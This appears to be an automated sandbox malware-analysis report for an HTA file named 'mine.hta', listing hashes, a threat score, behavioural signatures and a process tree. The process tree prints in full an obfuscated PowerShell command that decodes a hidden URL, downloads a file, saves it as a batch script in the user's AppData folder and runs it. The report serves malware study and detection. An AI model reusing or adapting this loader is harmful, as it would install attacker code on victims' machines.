Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 07:29

General

  • Target

    mine.hta

  • Size

    48KB

  • MD5

    8ec81411709c0d3ca73859814204cd71

  • SHA1

    7da6542e29c888d65a857cf5876ed8e9e6524510

  • SHA256

    6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d

  • SHA512

    ece006bb69841cf02d64c95c0534376934fa073b89eab8f85cc3323f647f1a326198d56cad9666d5b6152e763e2859e945e8794a877c75808f224b27201eec14

  • SSDEEP

    768:SOLDbrv8XXl7qCk0BU6zoWvXqfM0JYJ4Tpdsfq0H5wj/:SObstqCdoWvXqfM0JY40Kj

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mine.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function pYUxYe($YX, $ed){[IO.File]::WriteAllBytes($YX, $ed)};function eYJrvvozw($YX){if($YX.EndsWith((atHcQU @(22670,22724,22732,22732))) -eq $True){Start-Process (atHcQU @(22738,22741,22734,22724,22732,22732,22675,22674,22670,22725,22744,22725)) $YX}else{Start-Process $YX}};function QJVAx($F){$J = New-Object (atHcQU @(22702,22725,22740,22670,22711,22725,22722,22691,22732,22729,22725,22734,22740));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ed = $J.DownloadData($F);return $ed};function atHcQU($Z){$h=22624;$OK=$Null;foreach($Pw in $Z){$OK+=[char]($Pw-$h)};return $OK};function ROmYsTcn(){$nmYSjx = $env:APPDATA + '\';$JkqUaMTnM = QJVAx (atHcQU @(22728,22740,22740,22736,22739,22682,22671,22671,22743,22721,22732,22732,22677,22740,22727,22728,22726,22678,22726,22724,22727,22670,22721,22736,22729,22670,22735,22736,22725,22734,22739,22735,22741,22738,22723,22725,22739,22721,22721,22739,22670,22735,22738,22727,22671,22714,22703,22724,22723,22726,22702,22741,22735,22671,22733,22745,22744,22743,22738,22677,22723,22732,22729,22670,22722,22721,22740));$lVBjIvqD = $nmYSjx + 'myxwr5cli.bat';pYUxYe $lVBjIvqD $JkqUaMTnM;eYJrvvozw $lVBjIvqD;;;;}ROmYsTcn;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2640

Network

MITRE ATT&CK Enterprise v15

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Downloads